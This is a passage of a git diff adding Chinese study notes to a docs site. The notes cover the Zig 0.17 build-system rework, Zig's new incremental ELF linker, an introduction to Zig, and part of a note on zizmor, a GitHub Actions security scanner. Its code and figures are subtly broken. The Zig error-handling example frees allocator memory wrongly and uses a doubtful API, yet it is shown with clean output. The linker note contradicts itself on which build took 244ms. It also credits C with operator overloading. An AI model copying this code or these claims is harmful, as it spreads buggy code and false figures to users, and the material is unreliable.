+
+官方口径是「API 层面大体非破坏」，但「聪明」的 `build.zig` 值得在 master 上提前跑一遍。
+
+## 代码示例
+
+### 示例 1：最小 `build.zig` + `build.zig.zon`（可缓存配置）
+
+`build.zig`——只声明一个可执行文件并安装：
+
+```zig
+const std = @import("std");
+
+pub fn build(b: *std.Build) void {
+    const target = b.standardTargetOptions(.{});
+    const optimize = b.standardOptimizeOption(.{});
+
+    const exe = b.addExecutable(.{
+        .name = "demo",
+        .root_module = b.createModule(.{
+            .root_source_file = b.path("src/main.zig"),
+            .target = target,
+            .optimize = optimize,
+        }),
+    });
+
+    b.installArtifact(exe);
+
+    const run_cmd = b.addRunArtifact(exe);
+    run_cmd.step.dependOn(b.getInstallStep());
+
+    if (b.args) |args| {
+        _ = args; // 0.17：不要在 configure 里读 b.args
+    }
+    run_cmd.addPassthruArgs(); // 0.17：透传 zig build run -- 之后的参数
+
+    const run_step = b.step("run", "Run the app");
+    run_step.dependOn(&run_cmd.step);
+}
+```
+
+`build.zig.zon`——声明包身份与（可选）远程依赖：
+
+```zon
+.{
+    .name = .demo,
+    .version = "0.1.0",
+    .fingerprint = 0x0, // 首次可用 zig fetch 生成正式 fingerprint
+    .minimum_zig_version = "0.17.0",
+    .dependencies = .{
+        // .@"my-dep" = .{
+        //     .url = "https://example.com/my-dep.tar.gz",
+        //     .hash = "1220abcd...", // 内容哈希，非 URL
+        // },
+    },
+    .paths = .{
+        "build.zig",
+        "build.zig.zon",
+        "src",
+    },
+}
+```
+
+常用命令：
+
+```bash
+zig build --fetch          # 按 zon 拉依赖后退出
+zig build                  # configure（若需）+ make
+zig build run -- --verbose # --verbose 在 make 阶段透传，不重画配置图
+zig build --print-configuration  # 调试：导出 ZON 格式构建配置
+```
+
+### 示例 2：依赖本地 path 与远程 hash 包
+
+`build.zig` 里添加依赖模块：
+
+```zig
+const std = @import("std");
+
+pub fn build(b: *std.Build) void {
+    const target = b.standardTargetOptions(.{});
+    const optimize = b.standardOptimizeOption(.{});
+
+    // 由 build.zig.zon 解析；path 依赖指向 ../shared-lib
+    const shared = b.dependency("shared", .{
+        .target = target,
+        .optimize = optimize,
+    });
+
+    const mod = b.createModule(.{
+        .root_source_file = b.path("src/main.zig"),
+        .target = target,
+        .optimize = optimize,
+        .imports = &.{
+            .{ .name = "shared", .module = shared.module("shared") },
+        },
+    });
+
+    const exe = b.addExecutable(.{ .name = "app", .root_module = mod });
+    b.installArtifact(exe);
+}
+```
+
+`build.zig.zon` 片段——**path** 与 **url+hash** 二选一：
+
+```zon
+.{
+    .name = .app,
+    .version = "0.1.0",
+    .dependencies = .{
+        .shared = .{
+            .path = "../shared-lib", // 本地开发：不算 hash
+        },
+        .@"zig-json" = .{
+            .url = "https://codeberg.org/zig-json/zig-json/archive/master.tar.gz",
+            .hash = "1220...", // 必须匹配 paths 过滤后的内容
+        },
+    },
+    .paths = .{ "build.zig", "build.zig.zon", "src" },
+}
+```
+
+设计意图：`url` 可换镜像，**`hash` 不变则包不变**；CI 与同事机器得到相同比特，而不依赖「某个 git 服务器今天是否在线」。
+
+## 工作流程（新架构）
+
+```text
+zig build [flags]
+    │
+    ├─► 配置缓存命中？ ──是──► 跳过 Configurer
+    │         │
+    │        否
+    │         ▼
+    │    Configurer (debug)
+    │    执行 build.zig → 写二进制 Configuration
+    │
+    ▼
+Maker (release, 全局缓存)
+    读 Configuration → 按 DAG 执行 Step（编译/链接/测试/…）
+```
+
+与包管理：
+
+```text
+build.zig.zon (声明依赖 hash/url/path)
+        │
+        ▼
+zig build --fetch  →  并行 Fetch 任务拉取并校验 hash
+        │
+        ▼
+configure 阶段把依赖图缝进 import / module 表
+```
+
+## 迁移清单（面向 0.17）
+
+1. 全文搜索 `b.args`：仅转发给 run step → `addPassthruArgs()`；用于决定 target/特性 → 改为 `b.option` 或独立 step。
+2. 在 master/dev 上跑 `zig build` 全矩阵（debug/release/cross），关注 `std.Build` 重命名。
+3. 更新 `build.zig.zon` 的 `fingerprint` 与 `minimum_zig_version`（0.17 对 fingerprint 计算规则有调整）。
+4. IDE/脚本若解析构建信息：优先 `zig build --print-configuration` 或 `std.Build.Configuration`，避免解析 `.zig-cache` 内部文件名（尚无稳定「打印路径」flag 时）。
+5. 自定义构建步骤：避免依赖已弃用的 `makeFn`；用 `addSystemCommand` / `addRunArtifact` 等 Run Step 组合。
+
+## 与其它系统对照
+
+| 维度 | Zig Rework | CMake | Cargo |
+|------|------------|-------|-------|
+| 构建描述语言 | Zig（`build.zig`） | CMake DSL | TOML + build.rs |
+| 声明式锁文件 | `build.zig.zon` | 无一等 | `Cargo.lock` |
+| 配置/执行分离 | Configurer / Maker 进程 | configure + generate 两阶段 | metadata 与编译单元划分不同 |
+| 图的可序列化 | 二进制 Configuration + ZON 导出 | 生成器文件 | `cargo metadata` JSON |
+
+Zig 的选择是：**可编程**（build.zig）与**可声明**（build.zig.zon）并存，再把「跑脚本」的成本通过缓存和进程拆分压下去。
+
+## 常见误区
+
+- **误区**：「所有构建都会快 10 倍。」**事实**：大头是避免重复 configure；纯编译瓶颈仍在 LLVM/链接器。`zig build --help` 极快是因为几乎只做缓存读取。
+- **误区**：「`b.args` 只是改名。」**事实**：configure 阶段故意不可见透传参数；用参数改图结构必须显式建模。
+- **误区**：「没有 `build.zig.zon` 就不能用依赖。」**事实**：zon 是包管理与可重现 fetch 的入口；纯本地 monorepo 可以只有 `build.zig`。
+- **误区**：「工具必须解析二进制格式。」**事实**：人类用 `--print-configuration`；程序用 `std.Build.Configuration` 或自编译小助手读二进制。
+
+## 延伸话题
+
+- **ZLS / IDE**：序列化图减少「语言服务器 fork build runner」的需求，与 [[zig]] 工具链深度集成仍在演进。
+- **Nix / 发行版打包**：声明式 `build.zig.zon` + 可导出配置，利于生成下游包装而不执行任意 Zig 代码。
+- **编译器服务器**：社区讨论 `--listen`、结构化诊断等，与本次 rework 同属「构建即平台」方向。
+- **0.17 其它内容**：LLVM 22 升级等；相对 0.16 长周期，0.17 范围更集中，发布节奏更快。
+
+## 小结
+
+Zig Build System Reworked 不是给 `zig build` 打补丁，而是重新定义边界：**Configurer 画图纸、Maker 施工、父进程缓存图纸**。带来的直接收益是配置路径大幅变快；长期收益是构建图成为工具链的一等公民，并与 `build.zig.zon` 的内容寻址包管理同一套叙事。
+
+若你正在维护 Zig 项目，在 0.17 稳定前用 master 试一次构建，并改掉 `b.args` 透传——往往就是一次 `addPassthruArgs()` 的事。若你在评估 Zig 做系统软件，这次 rework 说明：**可编程构建脚本**不必永远付出「每次启动都重跑 debug 巨进程」的代价。
+
+## 参考
+
+- [Zig Build System（官方教程）](https://ziglang.org/learn/build-system/)
+- [Devlog：Build System Reworked（Ziggit 讨论）](https://ziggit.dev/t/devlog-build-system-reworked/15742)
+- [build.zig.zon 文档（zig 仓库）](https://github.com/ziglang/zig/blob/master/doc/build.zig.zon.md)
+- [PR #17392：rework package manager](https://github.com/ziglang/zig/pull/17392)（Fetch 任务与 zon paths 的历史背景）
+- [PR #35428：separate maker from configurer](https://github.com/ziglang/zig/pull/35428)（2026 rework 主体）
diff --git a/src/content/docs/projects/zig-build-system-reworked.md b/src/content/docs/projects/zig-build-system-reworked.md
new file mode 100644
index 000000000..de6454bd9
--- /dev/null
+++ b/src/content/docs/projects/zig-build-system-reworked.md
@@ -0,0 +1,143 @@
+---
+title: Zig: Build System Reworked (devlog 2026-05-26) 学习笔记
+来源: https://ziglang.org/devlog/2026/#2026-05-26
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# Zig: Build System Reworked 学习笔记
+
+## 一、从做饭理解问题
+
+想象你在开一家餐馆。
+
+以前的 Zig 构建系统就像这样：每次有新订单（修改了一个源代码文件），厨师（zig build）都要从头开始准备整条生产线。切菜、洗锅、点火、做酱料——连那些永远不变的调味料配方（构建系统本身的代码）都要重新做一遍。即使你的菜只改了一点点配料。
+
+这很慢。因为 build.zig（用户的构建脚本）和构建系统本身（成千上万行 Zig 标准库代码）被编译进了**同一个进程**里，每次运行 `zig build` 时，这个庞大的进程都要从头编译、从头运行。
+
+## 二、新架构：拆成两步
+
+Andrew Kelley 的改动很直观：把"做饭"拆成两个阶段。
+
+**第一阶段：配置器（Configurer）**
+
+- 只编译用户写的 `build.zig`（很小）
+- 在 Debug 模式下运行，方便调试
+- 根据 `build.zig` 的指令，画出一张"做菜流程图"（构建图，build graph）
+- 把这张流程图序列化（打包）成一个二进制配置文件
+- 这个配置文件会被缓存起来，下次不需要重新生成
+
+**第二阶段：执行器（Maker）**
+
+- 配置器画完流程图后，父进程（zig build）在后台异步编译执行器
+- 执行器用 **Release 模式**编译（有优化，跑得快）
+- 执行器读取配置器生成的二进制配置文件
+- 按照流程图执行实际的构建任务（编译、链接等）
+
+这两个阶段的关系就像：第一阶段画菜谱，第二阶段照着菜谱做菜。菜谱画好了可以反复用，不用每次都重画。
+
+## 三、三个核心好处
+
+### 1. 只编译用户代码
+
+以前：每次 `zig build`，整个构建系统 + 用户代码一起编译。
+
+现在：只有用户的 `build.zig` 需要重新编译。构建系统本身编译一次后缓存到全局目录，以后直接用。
+
+类比：以前每次做菜都要重新制造整条生产线；现在只重新配置你要做的菜，生产线本身用现成的。
+
+### 2. 智能跳过
+
+如果构建系统的输出没变，配置器生成的序列化文件也不需要重新跑。比如你只加了 `--help` 或 `-freference-trace` 这样的参数，构建系统知道你的 `build.zig` 逻辑不会变，直接复用缓存的配置，跳过整个第一阶段。
+
+类比：菜谱没变，不用重画，直接拿去厨房用。
+
+### 3. 执行器走 Release 模式
+
+实际干活的执行器（Maker）是用 Release 模式编译的，有编译器优化。以前它和配置器在同一个 Debug 进程里，跑起来慢。现在它单独编译、单独运行，速度快得多。
+
+## 四、性能对比数据
+
+文章给了一个实际 benchmark 数据：`zig build --help`
+
+| 指标 | 改造前 | 改造后 | 变化 |
+|------|--------|--------|------|
+| 运行时间 | 150ms | 14.3ms | ⚡ 快了 90.4% |
+| 内存峰值 | 84.8MB | 78.5MB | 少了 7.4% |
+| CPU 周期 | 593M | 24.1M | ⚡ 少了 95.9% |
+| 执行指令 | 995M | 43.7M | ⚡ 少了 95.6% |
+
+运行时间从 150ms 降到 14.3ms，提升了 10 倍。这个数据很能说明问题。
+
+## 五、代码示例
+
+### 示例 1：新的 `build.zig` 写法
+
+在旧的 `build.zig` 中，如果你想把命令行参数传递给运行时的子进程，你会这样写：
+
+```zig
+if (b.args) |args| {
+    run_cmd.addArgs(args);
+}
+```
+
+在新架构中，这种方式被移除了。构建脚本不能再"观察"这些参数了，因为参数是在配置器阶段不处理的。取而代之的是：
+
+```zig
+run_cmd.addPassthruArgs();
+```
+
+`addPassthruArgs()` 的作用是把所有命令行参数直接透传给运行时子进程。
+
+为什么这么改？因为 `addArgs` 要求构建脚本在配置阶段就解析参数——这意味着每次参数变了，构建脚本就要重新编译。而 `addPassthruArgs` 把参数推迟到执行阶段传递，参数变化不需要重新跑配置器。
+
+用一个类比：以前厨师在点菜时就要决定用什么调料（参数变了就要重做决定）；现在直接把客人点的菜送到厨房，让厨师按客人说的做（参数变了不用重做菜谱）。
+
+### 示例 2：理解整个流程的伪代码
+
+下面是从配置器到执行器的工作流程简化示意：
+
+```
+// ===== 配置器阶段（只编译用户的 build.zig）=====
+// zig build 启动，调用配置器
+configurer:
+    - 编译 build.zig（Debug 模式，快）
+    - 运行 build.zig，生成 build graph（构建图）
+    - 把 build graph 序列化到二进制配置文件
+    - 把配置文件缓存到项目目录的 .zig-cache/
+
+// ===== 执行器阶段（异步编译，Release 模式）=====
+// 父进程在后台做这件事：
+maker_builder:
+    - 异步编译 maker 进程（Release 模式，有优化）
+    - 编译好的 maker 缓存到全局目录 ~/.cache/zig/
+
+// ===== 执行阶段 =====
+// 配置器完成 + maker 编译完成 → 启动 maker
+maker:
+    - 读取配置器生成的二进制配置文件
+    - 按照构建图执行构建任务（编译、链接、运行）
+```
+
+## 六、对第三方工具的影响
+
+这个改动对 ZLS（Zig Language Server）等第三方工具是利好。以前 ZLS 需要 fork 构建执行器的代码来理解你的项目；现在它可以直接读取序列化的配置文件，不需要维护一份构建器的副本了。
+
+类比：以前 ZLS 是个外人，得跟着厨师学整条生产线；现在生产线有标准说明书（配置文件），ZLS 读说明书就行了。
+
+## 七、API 兼容性
+
+这次改动主要是内部重构，对外部 API 影响很小。最大的变化就是上面提到的 `addArgs` → `addPassthruArgs` 的迁移。Zig 团队预计大多数人迁移的工作量不大。
+
+## 八、总结
+
+这个 rework 的核心思想是**关注点分离**：
+
+- 配置阶段（画菜谱）和执行阶段（做菜）分离
+- 用户代码和系统代码分离编译
+- Debug 模式和 Release 模式各司其职
+- 缓存让重复工作为零
+
+最终结果：构建速度提升约 10 倍，且未来的功能增长不会拖累构建性能。
diff --git a/src/content/docs/projects/zig-elf-linker-devlog.md b/src/content/docs/projects/zig-elf-linker-devlog.md
new file mode 100644
index 000000000..d9fbc52ba
--- /dev/null
+++ b/src/content/docs/projects/zig-elf-linker-devlog.md
@@ -0,0 +1,151 @@
+---
+title: Zig ELF Linker Improvements Devlog 学习笔记
+来源: https://ziglang.org/devlog/2026/#2026-05-30
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# Zig ELF 链接器改进 — 零基础学习笔记
+
+## 一、什么是"链接器"？（日常类比）
+
+想象你在做一道复杂的菜。
+
+- **编译（Compile）**：把每种食材（源代码文件）分别洗好、切好、装盘。每个食材独立完成。
+- **链接（Link）**：把所有装好盘的食材放进一个大锅里，加调料、加热、搅拌，最终变成一道完整的菜（可执行程序）。
+
+链接器就是那个"大锅厨师"。它的工作是把很多个已经编译好的小文件（叫作 object files），拼成一个你能直接运行的程序。
+
+ELF 是 Linux 上可执行文件的格式（就像 Windows 上的 .exe）。Zig 的 ELF 链接器就是专门负责在 Linux 上把这些小文件拼成可执行程序的"厨师"。
+
+## 二、这篇文章讲了什么？
+
+Zig 团队在 2026 年 5 月 30 日发布了一篇 Devlog，介绍他们新写的 ELF 链接器取得的重大进展。
+
+核心亮点就一句话：**现在的链接器可以做到"增量编译"——你只改了一行代码，重新构建整个项目只需要几十毫秒，而不是之前的几十秒。**
+
+下面我们来拆解这个"增量编译"到底是什么意思。
+
+## 三、核心概念 1：增量编译（Incremental Compilation）
+
+### 3.1 类比：拼乐高
+
+假设你用乐高搭了一座城堡。
+
+- **传统方式**：每次你换了一块积木，都要把整座城堡拆掉，从头再搭一遍。
+- **增量编译**：每次你换了一块积木，链接器只重新拼那几块受影响的积木，其余部分不动。
+
+结果就是：搭城堡的速度从"每次 30 秒"变成了"每次 30 毫秒"——快了 1000 倍。
+
+### 3.2 实际数据
+
+文章中给出了 Zig 编译器自身的构建数据：
+
+```
+第一次全量构建：244ms
+第二次增量构建：228ms
+第三次增量构建：288ms
+第四次增量构建：283ms
+```
+
+注意：第一次 244ms 已经是增量构建后的速度了。相比之前全量构建可能需要几十秒，这个提升是巨大的。
+
+## 四、核心概念 2：ELF 链接器的演进
+
+### 4.1 旧链接器 vs 新链接器
+
+| 特性 | 旧链接器 | 新链接器（0.16.0 引入） |
+|------|---------|----------------------|
+| 默认启用 | 是 | 否（需用 `-fnew-linker` 开启） |
+| 支持外部库 | 差 | 越来越好 |
+| 增量编译 | 不支持 | 完全支持 |
+| 支持 C 语言 | 好 | 现在也好了 |
+
+新链接器最初在 Zig 0.16.0 发布时还很早期，主要只能链接纯 Zig 代码，连 libc（C 标准库）都不支持。
+
+到 2026 年 5 月，它已经能构建 Zig 编译器自身（包含 LLVM 和 LLD 库），这是一个非常重要的里程碑。
+
+### 4.2 为什么这很重要？
+
+链接器是编译流程的最后一步。如果这一步很慢，开发者每次修改代码后都要等很久才能看到结果。
+
+有了增量编译，开发体验发生了质变：你可以不停地改代码、保存、看效果，形成一个非常流畅的"写代码 -> 立即看到结果"的反馈循环。
+
+## 五、代码示例
+
+### 示例 1：用新链接器构建 Zig 编译器
+
+```bash
+# 第一步：用新链接器构建 Zig 编译器自身
+# -Dno-lib        : 不依赖系统 libc
+# -Dnew-linker    : 启用新的 ELF 链接器
+# -Denable-llvm   : 启用 LLVM 后端
+$ zig build -Dno-lib -Dnew-linker -Denable-llvm
+
+# 第二步：用刚构建出来的 Zig 编译器，编译一个普通的 Hello World 程序
+# -fllvm  : 使用 LLVM 作为代码生成后端
+# -flld   : 使用 LLD 作为链接器
+$ ./zig-out/bin/zig build-exe ~/hello.zig -fllvm -flld
+
+# 第三步：运行它
+$ ./hello
+Hello, World!
+```
+
+这段命令展示了新链接器的强大能力：它能构建一个"本身就用了 LLVM 和 LLD"的编译器。这意味着新链接器已经足够成熟，可以处理极其复杂的链接场景。
+
+### 示例 2：开启增量编译 + 文件监听
+
+```bash
+# --watch     : 监听文件变化，自动重新构建
+# -fincremental : 启用增量编译
+$ zig build -Dno-lib -Denable-llvm -fincremental --watch
+```
+
+当你保存任何一个源文件时，构建系统会自动检测到变化并只重新构建受影响的部分。
+
+文章中的实际演示：修改 Tetris 游戏的几处小改动，每次构建只需约 30ms。
+
+### 示例 3：增量编译的效果对比
+
+```
+# 第一次构建（全量）
+compile exe zig Debug native success 36s    ← 36 秒
+
+# 之后每次修改（增量）
+compile exe zig Debug native success 244ms   ← 244 毫秒，快了 147 倍！
+compile exe zig Debug native success 228ms
+compile exe zig native success 288ms
+compile exe zig Debug native success 283ms
+```
+
+## 六、当前限制和未来方向
+
+### 6.1 最大的缺失功能
+
+新链接器目前**还不支持为 Zig 代码生成 DWARF 调试信息**。DWARF 是调试器（如 gdb、lldb）用来读取程序调试信息的标准格式。没有它，你就不能用调试器单步调试你的程序。
+
+作者明确表示：这是下一个优先级。
+
+### 6.2 可用性
+
+- 目前只在 **x86_64 Linux** 上支持增量编译构建外部库和 C 源码
+- Zig 0.17.0 即将发布，届时这个功能将默认启用，更多人可以试用
+
+## 七、总结：学到了什么
+
+1. **链接器**是把编译好的小文件拼成可执行程序的工具，好比"大锅厨师"
+2. **增量编译**只重新构建变化的部分，速度从秒级提升到毫秒级
+3. Zig 的新 ELF 链接器已经从"只能链接纯 Zig"发展到"能构建整个编译器"
+4. 使用 `-fincremental --watch` 可以开启增量编译+自动监听
+5. 目前还缺少 DWARF 调试信息支持，这是下一个要攻克的目标
+
+## 八、延伸思考
+
+这篇文章让我想到一个更深层的问题：为什么链接器这么慢？
+
+因为链接器需要做很多"跨文件"的分析工作——它要知道每个函数定义在哪里、每个变量从哪里来、不同文件之间的引用关系是什么。这些信息量很大，所以传统上很难做到"只算变化的部分"。
+
+Zig 的新链接器能做到增量编译，说明他们在内部数据结构上做了大量优化，让每一步的变化都能被精确追踪。这也是为什么作者说"即使没有调试信息支持，即时重建也已经非常有用"——尤其是在频繁做 print 调试的时候。
diff --git a/src/content/docs/projects/zig.md b/src/content/docs/projects/zig.md
new file mode 100644
index 000000000..4ff146615
--- /dev/null
+++ b/src/content/docs/projects/zig.md
@@ -0,0 +1,198 @@
+---
+title: Zig — 无隐藏控制流的 C 替代
+来源: https://github.com/ziglang/zig
+日期: 2026-06-13
+子分类: 语言运行时
+分类: 编译器
+难度: 初级
+provenance: pipeline-v3
+---
+
+## 什么是 Zig
+
+Zig 是一门系统编程语言，设计目标是成为 C 语言的替代品。它和 C 一样可以操作内存、编译成机器码、写操作系统内核和嵌入式程序，但 Zig 把 C 中那些"看不见的安全问题"全部摆到台面上来。
+
+## 日常类比：带安全栏的厨房
+
+想象你在做饭。C 语言就像一个没有围栏的专业厨房——你能做任何事情，效率极高，但如果忘了关煤气或者用错盐，后果自负。Zig 就像在同一个厨房里装了安全传感器：切到手会报警、水温过高会停火、忘关火会自动断电。你仍然在"用明火做饭"，但系统会帮你挡住最常见的失误。
+
+核心区别就一句话：**Zig 没有隐藏的控制流**。
+
+## 核心概念一：无隐藏控制流
+
+这是 Zig 最核心的设计哲学。在 C 中，你以为一行代码只做了一件事，实际上编译器可能在背后做了好多事：
+
+- C 的 `+` 运算符在某些语言里可以重载，意味着 `a + b` 可能调用了函数
+- C++ 的异常机制意味着 `foo()` 可能会抛出异常，导致后面的 `bar()` 根本不会被执行
+- D 语言有 `@property` 属性函数，看似在访问字段，实际在调用函数
+
+Zig 完全消除了这些"看不见的跳跃"。如果你看到这段 Zig 代码：
+
+```
+var a = b + c.d;
+foo();
+bar();
+```
+
+你可以百分之百确定：这就是三件事按顺序发生，不会调用隐藏函数，不会跳出去执行其他代码。
+
+## 核心概念二：错误是值，不能忽略
+
+在 C 中，函数经常返回 `-1` 或 `NULL` 表示出错。调用者很容易忘记检查，这个错误就像漏网之鱼一样一路传播。在 Zig 中，**错误是一种类型**，是值的一部分，编译器逼你必须处理它。
+
+想象一下：C 的错误处理像是在水里游泳，你可能呛到水（忘记检查返回值）。Zig 则是给你配了救生衣——你不可能忽略错误。
+
+```
+const std = @import("std");
+
+pub fn main() !void {
+    const file = std.fs.cwd().openFile("data.txt", .{}) catch |err| {
+        std.debug.print("打不开文件：{}\n", .{err});
+        return err;
+    };
+    defer file.close();
+}
+```
+
+这里 `catch` 后面的代码块处理所有出错的情况。如果调用者也不打算处理，可以用 `!void` 把错误继续往外传。如果确定绝不会出错，可以用 `unreachable` 断言。
+
+## 核心概念三：Optional 类型替代 NULL 指针
+
+C 中指针可以为 `NULL`，这是所谓"一百亿美元的错误"——无数空指针异常由此而来。Zig 的普通指针**不能为 NULL**，只有加了 `?` 标记的可选类型才能为空：
+
+```
+const ptr: *i32 = ...;   // 绝对不能为 NULL，编译器保证
+const opt_ptr: ?*i32 = ...;  // 可能为 NULL，必须处理
+```
+
+使用 `orelse` 可以优雅地提供默认值：
+
+```
+const ptr = possiblyNullPtr orelse defaultPtr;
+```
+
+## 核心概念四：手动内存管理 + defer
+
+Zig 没有垃圾回收（GC），程序员必须自己管理内存。但这不意味着麻烦——Zig 用 `defer` 和 `errdefer` 让资源管理变得极其清晰：
+
+```
+const file = try std.fs.createFile("output.txt", .{});
+defer file.close();   // 无论函数怎么返回，file 都会被关闭
+```
+
+`defer` 就像承诺：函数退出时一定会做这件事，不管正常退出还是出错退出。`errdefer` 只在不成功时执行。
+
+## 代码示例一：Hello World 与基础语法
+
+最简单的 Zig 程序：
+
+```
+const std = @import("std");
+
+pub fn main() void {
+    std.debug.print("Hello, Zig!\n", .{});
+}
+```
+
+- `const std = @import("std")` 导入标准库。`@import` 是编译期内置函数，不是运行时调用
+- `std.debug.print` 是格式化输出。`.{}` 是参数列表，类似 C 的 printf 但类型安全
+- `pub` 表示这个函数是公开的，可以被其他文件调用
+
+编译运行：
+
+```
+$ zig build-exe hello.zig
+$ ./hello
+Hello, Zig!
+```
+
+生成的是纯静态链接的可执行文件，不依赖任何系统库。
+
+## 代码示例二：错误处理与内存管理实战
+
+这个示例展示了 Zig 的错误处理、可选类型和 `defer` 如何配合工作：
+
+```
+const std = @import("std");
+
+const Config = struct {
+    name: []const u8,
+    port: u16,
+};
+
+// 解析配置文件 —— 返回值可能是 Config，也可能是错误
+fn parseConfig(input: []const u8) !Config {
+    var allocator = std.heap.GeneralPurposeAllocator(.{}){};
+    defer std.debug.assert(allocator.deinit() == .ok);
+    const gpa = allocator.allocator();
+
+    // 从输入中提取名称 —— 如果失败，返回错误
+    const name = std.mem.splitScalar(u8, input, '\n').next() orelse
+        return error.NoName;
+
+    // 尝试解析端口号 —— parseUnsigned 返回 !u16（可能出错）
+    const port_str = std.mem.splitScalar(u8, input, '\n').nth(2) orelse
+        return error.NoPort;
+    const port = try std.fmt.parseInt(u16, port_str, 10);
+
+    return Config{
+        .name = try gpa.dupe(u8, name),
+        .port = port,
+    };
+}
+
+pub fn main() !void {
+    const config_text = "web_server\n8080";
+
+    const config = parseConfig(config_text) catch |err| {
+        std.debug.print("配置解析失败: {}\n", .{err});
+        return err;
+    };
+
+    // defer 保证资源在函数退出时释放
+    defer config_free(config);
+
+    std.debug.print("配置: {s}, 端口: {d}\n", .{ config.name, config.port });
+}
+
+fn config_free(config: Config) void {
+    var allocator = std.heap.GeneralPurposeAllocator(.{}){};
+    const gpa = allocator.allocator();
+    gpa.free(config.name);
+}
+```
+
+逐行拆解：
+
+- `!Config` 表示这个函数可能返回 `Config` 也可能返回错误，错误类型由编译器推断
+- `orelse` 处理可选值的"空"情况，类似 C 的 `if (ptr == NULL)`
+- `try` 是语法糖，等于 `catch |err| return err`，把错误向上传递
+- `GeneralPurposeAllocator` 是 Zig 自带的内存调试工具，能在程序退出时检查有没有内存泄漏
+- `defer` 确保 `gpa.free(config.name)` 在函数退出时执行，防止内存泄漏
+
+运行结果：
+
+```
+$ zig build-exe config.zig
+$ ./config
+配置: web_server, 端口: 8080
+```
+
+## 为什么 Zig 值得关注
+
+| 对比维度 | C | Rust | Zig |
+|---------|---|------|-----|
+| 内存管理 | 手动 | 借用检查器 | 手动 + defer |
+| 错误处理 | 返回值检查 | Result 类型 | 错误是类型 |
+| 编译速度 | 快 | 慢 | 快 |
+| C 互操作 | 原生 | 需 FFI | 直接 import C 头文件 |
+| 学习曲线 | 陡峭 | 极陡峭 | 中等 |
+
+Zig 不追求取代 Rust 的位置（那些需要极致安全和并发控制的场景），它的目标很明确：让 C 程序员有一个更安全的替代选择。语法简单、编译快、和 C 生态完全兼容，同时帮你挡住那些最常见的坑。
+
+## 进一步学习
+
+- 官方教程：[ziglang.org/learn](https://ziglang.org/learn/)
+- 交互式练习：[Ziglings](https://ziglings.org) —— 修好一堆小 Bug 来学 Zig
+- 在线练习：[Exercism Zig Track](https://exercism.org/tracks/zig)
+- 源码：[github.com/ziglang/zig](https://github.com/ziglang/zig)
diff --git a/src/content/docs/projects/zizmor.md b/src/content/docs/projects/zizmor.md
new file mode 100644
index 000000000..0df0f74fd
--- /dev/null
+++ b/src/content/docs/projects/zizmor.md
@@ -0,0 +1,296 @@
+---
+title: zizmor — GitHub Actions 工作流静态安全分析
+来源: https://github.com/zizmorcore/zizmor
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**zizmor**（读作 /ˈzɪzmɔːr/，名字来自 Yiddish「干净」）是 William Woodruff 等人用 **Rust** 写的 **GitHub Actions 专用静态分析器（SAST）**。它不执行 workflow，也不连上你的 runner，只读 `.github/workflows/*.yml`、composite/Docker `action.yml`、以及可选的 `dependabot.yml`，在本地或 CI 里扫描已知漏洞模式。
+
+日常类比：
+
+- **装修图纸审查员**：GitHub Actions workflow 像一份「自动装修图纸」——写清楚什么时候开工、用什么工具、谁能拿钥匙。zizmor 不会真的去你家装修，而是对着图纸问：「这把万能钥匙是不是人人能拿？」「外来工人能不能改图纸？」「螺丝是不是没锁版本、明天就被人换掉？」
+- **机场安检 vs 黑盒测试**：跑一遍 CI 是「让旅客过安检门」；zizmor 是「在旅客进站前检查行李清单和登机牌规则有没有漏洞」。很多 **Pwn Request**、**模板注入**、**凭证落盘** 问题，在 PR 合并前就能被规则命中，而不必等攻击者真的 fork 你的仓库。
+- **和 [[gitleaks]] 的分工**：Gitleaks 找的是「秘密有没有写进代码」；zizmor 找的是「CI 流水线本身有没有设计缺陷，导致秘密或写权限被外人利用」。两者常一起出现在安全基线里。
+
+最简单的本地体验：
+
+```bash
+# 安装（任选其一）
+brew install zizmor          # macOS Homebrew
+uvx zizmor --version         # Python 生态，无需全局安装
+cargo install zizmor         # 从 crates.io
+
+# 审计当前仓库（默认离线也能跑）
+zizmor .
+
+# 只看 workflows 目录
+zizmor .github/workflows/
+```
+
+有 findings 时，终端会以类似 `cargo` 诊断的风格输出规则 ID、严重级别、文件位置与修复建议链接（`https://docs.zizmor.sh/audits/<rule-id>/`）。
+
+## 为什么重要
+
+不理解 zizmor 这类工具，下面几类事故很难在代码审查阶段拦住：
+
+- **Pwn Request**：fork 来的 PR 触发 `pull_request_target`，在**目标仓库权限**下执行攻击者可控输入——经典文章 [*Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests*](https://securitylab.github.com/resources/research-tutorials/github-actions-preventing-pwn-requests/) 描述的正是这类模式；zizmor 的 `dangerous-triggers` 等规则专门盯这类触发器。
+- **模板注入（Template Injection）**：`${{ github.event.issue.title }}` 直接拼进 `run: |` 的 shell 脚本，会在执行前被展开成任意 shell 代码；zizmor 的 `template-injection` 规则会推动你改成 `env:` + `$VAR` 模式。
+- **凭证持久化（ArtiPACKED）**：`actions/checkout` 默认把 `GITHUB_TOKEN` 写进 `.git/config` 或 runner 临时目录，后续 `upload-artifact` 可能把 token 打进公开产物；`artipacked` 规则建议 `persist-credentials: false`。
+- **供应链固定**：`uses: actions/checkout@v4` 这种**可漂移的 tag** 在 zizmor v1.20+ 默认策略下会被 `unpinned-uses` 标记，推荐改成 **commit SHA 钉死**（`@de0fac2e... # v6`）。
+
+维护方文档强调：zizmor 是**纯静态**工具——看不到运行时 `matrix` 的真实值，因此对 `${{ matrix.foo }}` 可能偏保守（宁可误报也不漏报）。理解这一点，才能正确配置 `persona`、忽略注释和 `zizmor.yml`。
+
+## 核心要点
+
+zizmor 的工作流可以拆成 **五层**：
+
+### 1. 输入收集（Collection）
+
+扫描前会先收集待审计对象：
+
+| 输入形式 | 示例 | 说明 |
+|----------|------|------|
+| 本地目录 | `zizmor .` | 递归找 workflows、actions |
+| 单个文件 | `zizmor path/to/ci.yml` | 从文件所在目录向上发现配置 |
+| 远程仓库 | `zizmor owner/repo` | 需 `GH_TOKEN` / `--gh-token` 调 GitHub API |
+
+`--collect` 可限定种类：`workflows`、`actions`、`dependabot` 等。`--strict-collection` 则在 YAML 语法/ schema 错误时直接失败，而不是警告继续。
+
+### 2. 运行模式（Offline / Online）
+
